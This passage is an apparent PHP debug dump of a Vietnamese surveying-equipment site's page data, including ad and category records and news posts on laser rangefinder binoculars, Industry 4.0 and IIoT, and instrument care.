'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Sự thật toán học (Theo Sổ tay Thích Học Toán)' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả 